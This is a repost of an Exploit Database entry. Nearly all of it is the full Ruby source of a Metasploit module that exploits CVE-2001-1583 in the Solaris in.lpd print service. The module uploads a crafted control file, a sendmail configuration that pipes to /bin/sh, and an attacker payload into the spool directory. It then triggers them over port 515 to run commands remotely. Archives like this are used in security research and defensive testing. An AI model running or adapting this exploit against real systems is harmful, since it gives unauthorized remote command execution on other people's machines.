Solaris LPD – Command Execution (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/16322/

• ##
  # $Id: sendmail_exec.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Solaris LPD Command Execution',
  			'Description'=> %q{
  					This module exploits an arbitrary command execution flaw in
  				the in.lpd service shipped with all versions of Sun Solaris
  				up to and including 8.0. This module uses a technique
  				discovered by Dino Dai Zovi to exploit the flaw without
  				needing to know the resolved name of the attacking system.
  			},
  			'Author' => [ 'hdm', 'ddz' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2001-1583'],
  					[ 'OSVDB', '15131'],
  					[ 'BID', '3274'],
  				],
  			'Platform' => ['unix', 'solaris'],
  			'Arch' => ARCH_CMD,
  			'Payload'=>
  				{
  					'Space' => 8192,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl telnet',
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic Target', { }]
  				],
  			'DisclosureDate' => 'Aug 31 2001',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(515)
  			], self.class)
  	end
  
  	def exploit
  
  		# This is the temporary path created in the spool directory
  		spath = "/var/spool/print"
  
  		# The job ID is squashed down to three decimal digits
  		jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
  
  		# The control file
  		control =
  			"H"+"metasploit\n"+
  			"P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
  			"f"+"dfA"+jid+"config\n"+
  			"f"+"dfA"+jid+"script\n"
  
  
  		# The mail configuration file
  		mailcf =
  			"V8\n"+
  			"\n"+
  			"Ou0\n"+
  			"Og0\n"+
  			"OL0\n"+
  			"Oeq\n"+
  			"OQX/tmp\n"+
  			"\n"+
  			"FX|/bin/sh #{spath}/#{jid}script\n"+
  			"\n"+
  			"S3\n"+
  			"S0\n"+
  			"R\+ #local \\@blah :blah\n"+
  			"S1\n"+
  			"S2\n"+
  			"S4\n"+
  			"S5\n"+
  			"\n"+
  			"MlocalP=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
  			"Mprog P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
  
  		# Establish the first connection to the server
  		sock1 = connect(false)
  
  		# Request a cascaded job
  		sock1.put("\x02metasploit:framework\n")
  		res = sock1.get_once
  		if (not res)
  			print_status("The target did not accept our job request command")
  			return
  		end
  
  		print_status("Configuring the spool directory...")
  		if !(
  				send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
  				send_file(sock1, 3, jid + "mail.cf", mailcf) and
  				send_file(sock1, 3, jid + "script", payload.encoded)
  			)
  			sock1.close
  			return
  		end
  
  		# Establish the second connection to the server
  		sock2 = connect(false)
  
  		# Request another cascaded job
  		sock2.put("\x02localhost:metasploit\n")
  		res = sock2.get_once
  		if (not res)
  			print_status("The target did not accept our second job request command")
  			return
  		end
  
  		print_status("Attempting to trigger the vulnerable call to the mail program...")
  		if !(
  				send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
  				send_file(sock2, 3, "dfa" + jid + "config", mailcf)
  			)
  			sock1.close
  			sock2.close
  			return
  		end
  
  		sock1.close
  		sock2.close
  
  		print_status("Waiting up to 60 seconds for the payload to execute...")
  		select(nil,nil,nil,60)
  
  		handler
  	end
  
  	def send_file(s, type, name, data='')
  
  		s.put(type.chr + data.length.to_s + " " + name + "\n")
  		res = s.get_once(1)
  		if !(res and res[0,1] == "\x00")
  			print_status("The target did not accept our control file command (#{name})")
  			return
  		end
  
  		s.put(data)
  		s.put("\x00")
  		res = s.get_once(1)
  		if !(res and res[0,1] == "\x00")
  			print_status("The target did not accept our control file data (#{name})")
  			return
  		end
  
  		print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length))
  		return true
  	end
  
  end